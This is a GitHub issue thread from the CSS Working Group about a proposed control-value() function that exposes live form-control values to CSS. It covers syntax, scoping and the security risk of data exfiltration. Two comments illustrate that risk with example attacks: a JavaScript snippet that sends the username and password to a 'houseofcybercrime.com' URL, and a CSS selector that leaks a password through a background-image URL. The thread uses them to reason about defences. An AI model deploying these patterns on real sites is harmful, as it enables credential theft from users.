Skip to content

[css-forms-1] control-value() function #7869

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
brandonmcconnell opened this issue Oct 12, 2022 · 28 comments
Closed

[css-forms-1] control-value() function #7869

brandonmcconnell opened this issue Oct 12, 2022 · 28 comments

Comments

@brandonmcconnell
Copy link

brandonmcconnell commented Oct 12, 2022

The problem

CSS doesn't yet have a way to retrieve the value property for an input/select/textarea/etc or to use/reuse those values in any useful way since we can't pass values up the cascade and form field elements generally (ever?) don't have descendant elements.

It's possible to set the value attribute on a form field but not to use the updated value of that field once it's been changed via user input. often the case that when the value of that field changes, the attribute itself remains the same, standing more so as a reference to the field's initial value than an indicator of its "live" value.

In other words, without using JS, access to a field's value is impossible.

Description of the proposal

I propose adding a value() function which returns the active or "live" value of any value-holding element, namely form fields. The syntax would be fairly similar to the existing & future attr() syntax.

Background

As mentioned in "The problem" section above, since we can't pass values up the cascade and form field elements don't have descendant elements, in order for this function to be useful, it needs a way to expose these values in such a way that they can be re-used throughout the cascade, even in other areas not neighboring the fields themselves.

For this reason, this issue should be treated as a stacked issue atop #7866

Issue #7866 provides a way for any CSS values to be stored at a global scope and be re-used as needed.

Syntax

value([syntax?])

Usage

The single syntax argument would be optional, equipping a developer to set the intended syntax for the result, where leaving it empty would use the field's intrinsic syntax.

For example, using…

  • value(number) or value() on input[type="number"] or input[type="range"] would result in a number value, since number is the intrinsic syntax for those input types
  • value(string) on input[type="number"] or input[type="range"] would result in the field's value but parsed as a string which could then be used anywhere a string could be used (e.g. the content property of a pseudo-element)
  • value(string) or value() on any of the following types would result in a string/text value, since that is the intrinsic and intended syntax for those input types
    • input[type="text"]
    • input[type="email"]
    • input[type="tel"]
    • input[type="search"]
    • input[type="url"]
    • input[type="radio"]:checked
    • input[type="checkbox"]:checked
    • select > option:selected
    • textarea
  • value(number) on any of these ☝🏼 however would result in the field's value parsed as a number. In any case where that numeric parsing fails, that declaration is ignored and skipped. When the pasring succeeds, the number returned can be used anywhere a number would normally be accepted.
  • value(color) or value() on input[type="color"] would result in a color value, since color is the intrinsic syntax for that input types

Considerations

  • When first tossing around this idea, I thought it might be more complicated to account for select, checkbox, and radio button values, but after giving it more thought, I think those should work as desired naturally. The key difference—as mentioned in the "Usage" examples above—is that a developer should store the value for the active (:checked or :selected) field itself, not just all select/checkbox/radio fields, like this:
    [type="checkbox"]:checked {
      --value: value();
    }
    [type="radio"]:checked {
      --value: value();
    }
    select > option:selected {
      --value: value();
    }
  • While attribute modifications can be tracked using MutationObserver.observe, value changes would likely be more appropriately tracked using the input and change events.
  • There are many input types which don't (yet) have a CSS representation or equivalent syntax. It would be worth discussing that a bit deeper to see how/if those should be handled and evaluated.

A more complete example

How might this look in practice?

* different values for input's value attribute vs. property ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┬┄┄┄┄┄┄┄┄┄┐
                                                                            ┆         ┆
html ━┓                                                                     ┆         ┆
      ┣━ head                                                               ┆         ┆
      ┗━ body ━┓                                                            ┆         ┆
               ┣━ div ━┓                                                    ┆         ┆
               ┃       ┣━ span                                              ┆         ┆
               ┃       ┗━ div#progress                                      ┆         ┆
               ┗━ form ━┓                                                   ┆         ┆
                        ┗━ input[type="range"][min=0][max=100][step=1][value=10]{value: 30}
@property --range-min {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
@property --range-max {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
@property --range-val {
  syntax: "<number>";
  inherits: true;
  initial-value: 0;
  global: true;
}
span::before {
  content: "The current value, " var(--range-val) ", is between " var(--range-min) " and " var(--range-max);
}
div#progress {
  --offset-max: var(--range-max) - var(--range-min);
  --offset-val: var(--range-val) - var(--range-min);
  --stop: calc((var(--offset-val) / var(--offset-max)) * 100%);
  background: linear-gradient(to right, black var(--stop), white var(--stop));
}
form > input[type="range"]#range {
  --range-min: attr(min number);
  --range-max: attr(max number);
  --range-val: value();
}

This example demonstrates how you might use value() paired with attr() and global variables to take a range input's value, min, and max values and create a label and makeshift progress bar using them, all done using only CSS.

This is just one example, and many more could be made, and I have no doubt I'll create several more as I continue to iterate on this concept and work toward a viable implementation.

@brandonmcconnell brandonmcconnell changed the title [css-values] value() function [css-values] value() function Oct 12, 2022
@Loirooriol
Copy link
Contributor

Concern: if the value can be concatenated with strings/urls, then this would make it easier for attackers to exfiltrate information. See #5136

@brandonmcconnell
Copy link
Author

@Loirooriol Couldn't attackers do that in the console by simply using element.value? This would essentially work the same as that, so I think any of the same protections we have in place for JS we should have here, too— absolutely, CORS or otherwise.

I'm also not so sure this would be easier than using JS for such attacks. I really appreciate your feedback, and I'd love to keep discussing it to find an implementation/spec that's as safe and as it is powerful.

@Loirooriol
Copy link
Contributor

Loirooriol commented Oct 12, 2022

Not attackers with physical access that can use the console. I mean attackers that use XSS or something to insert malicious third-party CSS into a legitimate website. And sure, if the attacker can inject JS then it will be trivial, but typically there are more protections against JS injection than against CSS injection.

Just mentioning this since some concerns were already raised about attr(), which doesn't have access to the current value, value() is more dangerous.

@brandonmcconnell
Copy link
Author

@Loirooriol Yeah, it's a valid concern. I think it would be worth having a larger conversation about protecting against that before implementing a feature like this.

I don't think we necessarily need to protect against injected styles/scripts from browser extensions, since those generally have local access to the console. However, maybe we can block outside style-injection attacks like that under the same umbrella of XSS security.

@brandonmcconnell brandonmcconnell changed the title [css-values] value() function [css-values-5] value() function Oct 12, 2022
@tabatkins
Copy link
Member

Apologies, but I don't understand how your example is intended to work. You're using attr() and value() on the input itself to set some custom properties, but these properties are only visible to the input itself (and its pseudo-elements). But then you try to use those properties on a span elsewhere in the DOM, with no way for it to see the input's values for the properties.

Ohhh, I see you're using your other idea for a "global" variable that resolves its value to the most specific rule setting it and is then visible to the entire page. Without that, are there still reasonable use-cases for this?

@brandonmcconnell
Copy link
Author

@tabatkins Hi Tab, yes, sorry— I didn't call out the related issue #7866 very "loudly" in my brief, so it could easily have been missed. My apologies for that.

Without that, there are use cases for the element itself and pseudos as you said, but no, the real value (ha) here would likely source from the value being exposed via the sort of change proposed in #7866.

Thanks for thinking through this. Not sure if there's a way to press pause on this issue until the other is resolved or until this otherwise makes sense 🤷🏻‍♂️

@arturjanc
Copy link

As mentioned above, this raises security concerns similar to the ones described in web-platform-tests/interop#86 (comment)

Specifically, this would allow CSS injections to steal sensitive secrets from the DOM, even in situations where such injections are prohibited from executing scripts due to Content Security Policy restrictions.

An additional aspect is that, as proposed, this would also allow the leaking of script#nonce properties which are purposefully not available as attributes to prevent them from being accessed by CSS and used to bypass CSP to regain script execution (see whatwg/html#2369).

@brandonmcconnell
Copy link
Author

@arturjanc Couldn't a script that has access to injecting elements already perform a similar attack like this?

const maliciousPasswordSender = document.createElement('img');
maliciousPasswordSender.width = 1;
maliciousPasswordSender.height = 1;
maliciousPasswordSender.style.position = 'fixed';
maliciousPasswordSender.style.bottom = 0;
maliciousPasswordSender.style.right = 0;
document.body.append(maliciousPasswordSender);

const username = () => document.getElementById('username');
const passwordField = document.querySelector('[type="password"]');
passwordField.addEventListener('change', () => {
  const baseUrl = 'http://houseofcybercrime.com/stashpass';
  maliciousPasswordSender.src = `${baseUrl}?user=${username.textContent}&password=${passwordField.value};
})

I do acknowledge the vulnerability you're pointing out; I'm just trying to understand how that is more insecure than what is already in place.

Perhaps for this case specifically, what could help here to avoid any additional security vulnerabilities with value() would be some secure way for only first-party scripts to whitelist elements that would allow access to them using value() in this way, something like a "public" attribute, but more secure than a mere attribute.

@Loirooriol
Copy link
Contributor

many sites focus on preventing script execution by setting script-src, but have relatively lax policies when it comes to styles

@arturjanc
Copy link

A script by definition has full same-origin access to the data in the origin of the application which executes the script. A stylesheet, while still quite powerful, is much more limited in the data it can access. When we increase the capabilities of CSS, we need to take into account how these capabilities will affect existing websites -- this is where concerns around the effect on content passed through CSS sanitizers or the potential for Content Security Policy bypasses come in.

Limiting value() to data explicitly marked as readable by stylesheets seems like a reasonable possible solution to explore here.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Nov 15, 2022

Yeah, I'm all for that!

With that in mind, maybe this could actually work using something as simple as a special HTML attribute that browsers will require elements to have in order to execute either attr() or value() on them since only first-party scripts would have the ability to add such an attribute post-pageload which are already trusted anyway.

CSS attr() and value() would then be limited to only those "whitelisted" elements. 👏🏼

@brandonmcconnell
Copy link
Author

Circling back to this as it's been a while since the last activity. Are there any steps I can take to push this proposal forward, along with its related dependency #7866?

attn @tabatkins @arturjanc @Loirooriol

@arturjanc
Copy link

From a security perspective the approach we talked about above would likely make this okay, so this probably boils down to whether CSS editors support this proposal and if there's implementer interest in making it happen.

@nt1m nt1m changed the title [css-values-5] value() function [css-forms-1] value() function Mar 28, 2025
@nt1m
Copy link
Member

nt1m commented Mar 28, 2025

There is a control-value() proposal in css-forms-1

@nt1m nt1m changed the title [css-forms-1] value() function [css-forms-1] control-value() function Mar 29, 2025
@brandonmcconnell
Copy link
Author

brandonmcconnell commented Apr 2, 2025

@nt1m Thanks. I think it would be helpful if control-value()'s type argument matched the API recently decided on for attr(), allowing for shorthand assertions like px, rem, string, or any specific type using type() like type(<length>), type(<color>), etc.

This would be extremely helpful for certain input types like color or for converting a number type to include a unit without having to resort to the old calc(control-value(number) * 1px) that the latest attr() improvements sought to fix/avoid.


An argument for type(<boolean>)

Furthermore, I think this is a key example of why it would help for CSS to add support for type(<boolean>). This would be timely, as CSS has approved and is imminently working to add support for functions and conditional checks like if(). When storing the value of an input of type checkbox or radio, it would help for those values to be stored as primitive boolean values (e.g. true and false) for explicit and clear boolean checks.

Alternatively, boolean fields could be asserted as strings (e.g. 'true' and 'false'), numbers or integers (e.g. 1 and 0), or percentages (e.g. 0% and 100%).

I think allowing for Boolean coercion like that cloths be extremely useful, but I still feel that having an explicit type(<boolean>) type with primitive true and false values would be the best default here for use in functions and in if().
cc @tabatkins @mirisuzanne


The final missing piece in making control-value() extremely useful is providing a way to expose these values in the global state, if we can find a way of avoiding circulatory issues or making an exception in this case.

I proposed one solution to this in #7866

If the proper solution is not hoisting these values truly globally, perhaps it's exposing them on a form element associated with a control, if there's is one, since forms are naturally connected to their controls' states anyway.

@nt1m
Copy link
Member

nt1m commented Apr 2, 2025

There is: #11842 about type conversion. Matching attr() makes sense to me. We should try to make sure this works.

I'm going to add this issue on the agenda to make sure we get a formal resolution on adding the control-value() function. Exact syntax can be TBD.

@nt1m nt1m added the Agenda+ label Apr 2, 2025
@brandonmcconnell
Copy link
Author

@nt1m Sounds good, thanks.

I do see the value in having the shorthand number type equivalent to type(<number>), but that might be a discussion better had re attr(). Then, hopefully, those benefits will carry over here if we match the syntax for control-value().

This is probably a one-off exception case, where a unit-less number is as common as those other unit types, is a native type for inputs (type="number"), and is commonly used in attributes as well.

@css-meeting-bot
Copy link
Member

The CSS Working Group just discussed [css-forms-1] `control-value()` function, and agreed to the following:

  • RESOLVED: Accept control-value() as described in the draft (with subsequent edits)
The full IRC log of that discussion <TabAtkins> ntim: a problem devs often ahve is they want to refer to the value insdie a range or text input
<TabAtkins> ntim: for range input, you see a bubble with a number in it following the thumb
<TabAtkins> ntim: in the current Forms draft there's a control-value() function
<TabAtkins> ntim: syntax is draft-y, i think we can match attr()
<TabAtkins> ntim: i'm hoping to get a formal resolution
<TabAtkins> q+
<lea> q+
<TabAtkins> ntim: and maybe we want to think about the problem of, do we want to scope this to the control itself, or allow other elements to refer to the values of other elements
<TabAtkins> ntim: havne't thought too mucha bout that yet
<astearns> ack TabAtkins
<lea> TabAtkins: I think we should add this. Few details that I listed. Control value is just as dangerous as `attr()` but should be solvable the same way, just repeat the same handling
<lea> TabAtkins: 2. I don't think we should exactly match the attr() syntax, we're not doing arbitrary parsing of an unknown string, we have a well-known value coming from the control
<lea> TabAtkins: getting it as a string is always useful, getting it as a number also useful
<lea> TabAtkins: other than that, I think it's a good idea and we should do it
<TabAtkins> ntim: i agree we should let people switch the types. might want it as a number to use in a calc() to set a width
<astearns> ack lea
<TabAtkins> lea: also agree we should do it
<TabAtkins> lea: how do web components hook into this for their own values?
<TabAtkins> lea: and also, we do want it to inherit in some way. the tooltip of a slider often shows the slider value. so how does that work if it's only on the slider itself.
<TabAtkins> TabAtkins: if it's a pseudo-element it's fine, they refer to the main element
<kbabbitt> q+
<TabAtkins> lea: yeah but that doesn't solve a custom element
<TabAtkins> ntim: yup, pseudo-elements get you part of the way, but not all the wya
<TabAtkins> lea: if it resolves at the right time it's not insumoutable
<TabAtkins> ntim: how does inheritance work?
<TabAtkins> ntim: you'd need to get the value out of the slider and pull it up?
<TabAtkins> TabAtkins: yeah that's hard
<kizu> anchor positioning and scroll-driven animations :)
<astearns> ack dbaron
<TabAtkins> ntim: the separate element reference can be another issue
<TabAtkins> dbaron: there was some discussion of security restrictions in the bug, wanted to make sure it's not list
<TabAtkins> TabAtkins: yeah, i mentioned it should be the same as attr()
<astearns> ack kbabbitt
<TabAtkins> ntim: yup, to avoid exfiltration into a url
<dbaron> s/list/lost/
<TabAtkins> kbabbitt: i was also thinking about security issue here. wondering if it has to be stronger than attr(), like using it on a password input
<TabAtkins> kbabbitt: i don't know if attr() already addresses this
<TabAtkins> TabAtkins: it should, the attr() restriction prevents any value produced by it to be used in a url
<TabAtkins> astearns: so it sounds like we're just asking for waht's in the draft to be blessed?
<TabAtkins> ntim: yeah
<TabAtkins> astearns: proposed resolution: control-value() as described in the draft looks reasonable
<TabAtkins> RESOLVED: Accept control-value() as described in the draft (with subsequent edits)
<TabAtkins> dbaron: also wanted to point out there's proposals to have selectors that depend on control values

@Crissov
Copy link
Contributor

Crissov commented Apr 4, 2025

Just for the record, as a selector counterpart to this, I suggested to introduce ”pseudo attributes“ way back in #354: [:value=foo] {}

@bramus
Copy link
Contributor

bramus commented Apr 4, 2025

The security aspects of this seems to be only very lightly covered in the WG’s discussion.

There is a huge difference between attr() and control-value(): the former works with the content attribute and the latter works with the IDL attribute. Content attributes typically don’t change (there are some exceptions, like <dialog>’s [open]) but IDL attributes do.

So using attr() to read back the current value of an <input type=password> is not possible (unless you do two way data-binding, like React typically does) but with control-value() that door is wide open, enabling a CSS Keylogger Attack.

Introducing something like attr()-tainting might solve this in order to prevent the values from being used in URLs. But if the suggested [:value] selector comes into existence, control-value()-tainting won’t help at all:

input[type="password"][:value="Password1!"] {
  background-image: url("https://example.org/password-stealer/Password1!");
}

@tabatkins
Copy link
Member

No, the security concerns are identical, because we were already considering the possibility of a content attribute containing sensitive information. That is, the possibility of exfiltrating a data-secret-id attribute was explicitly why we designed the attr() behavior the way we did. This is identical to the risk of exfiltrating a password input's value. (And yes, JS libraries using two-way bindings to reflect values back into attributes was also a concern.)

This is why the security was only "lightly covered" in the discussion - the issue had already been solved adequately in attr() and we're just using the same solution, since the information being exposed is identical in attack value.

But if the suggested [:value] selector comes into existence,

Yes, security issues are a significant blocker for that selector. That has nothing to do with the design of control-value(), tho.

@bramus
Copy link
Contributor

bramus commented Apr 4, 2025

Ok, then we're on the same page here. I asked because I saw no mention of something similar to attr()-tainting in the meeting notes.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Apr 4, 2025

I really appreciate everyone's thoughts in discussing this.


@Crissov I really like the pseudo attributes you proposed in #354, especially those for numeric comparisons (e.g. ==, %=, >, >=, <, <=, !=). I would love to see that gain some traction alongside :control-value().


@tabatkins (and others, here) I would love to hear any feedback you have my previous comment's points

  • boolean type

    As we progress into CSS @function, if() and other checks, it seems that we'll eventually need a <boolean> type)

  • scoping

    Should a control value be accessible from outside its DOM element? I think you could add a lot of value for different elements on a page to be able to reference a control value. Perhaps

    Maybe the syntax could be :control-value(name? scope?)

    • :control-value() - reference the value of the current element (assuming it is a control)
    • :control-value(name) - reference the value of a control by name within the same scope (will match the closest form as the scope by default if the control is a descendant of a form, otherwise the closest scope, possibly :root)
    • :control-value(name scope) - reference the value of a control by name within a different scope (scope argument accepts form IDs or scope identifiers, e.g. :root or :scope)

@nt1m
Copy link
Member

nt1m commented Apr 7, 2025

Not convinced we should do the selector counterpart of this fyi, I don't really see any convincing use cases. It doesn't address the scoping use case either fwiw.

As we progress into CSS @function, if() and other checks, it seems that we'll eventually need a type)

CSS has no concept of coercing CSS values into booleans right now. All the current booleans are either selectors, numerical or equality comparisons.

@brandonmcconnell
Copy link
Author

@nt1m I think those are fair points and would definitely be worth posing in their respective tickets.

I shouldn't have brought up the "<boolean>" type here, as that distracts from the main proposal here, and I already have another proposal open related to that. My apologies for that.

@mirisuzanne
Copy link
Contributor

We have some other property-specific custom-idents with adjustable scope, right? Things like anchor-name? Can we re-use a similar approach to scoping names?

@nt1m
Copy link
Member

nt1m commented Apr 8, 2025

We have some other property-specific custom-idents with adjustable scope, right? Things like anchor-name? Can we re-use a similar approach to scoping names?

Presumably, but I'd first like to see how many of the use-cases control-value() on elements + their pseudo-elements covers first, before going deeper onto this. Properties like these are not easy to implement / spec given the challenge of solving circularity / cross-dependencies.

@nt1m
Copy link
Member

nt1m commented Apr 14, 2025

Let's close this issue and move further discussion to new issues.

@nt1m nt1m closed this as completed Apr 14, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

9 participants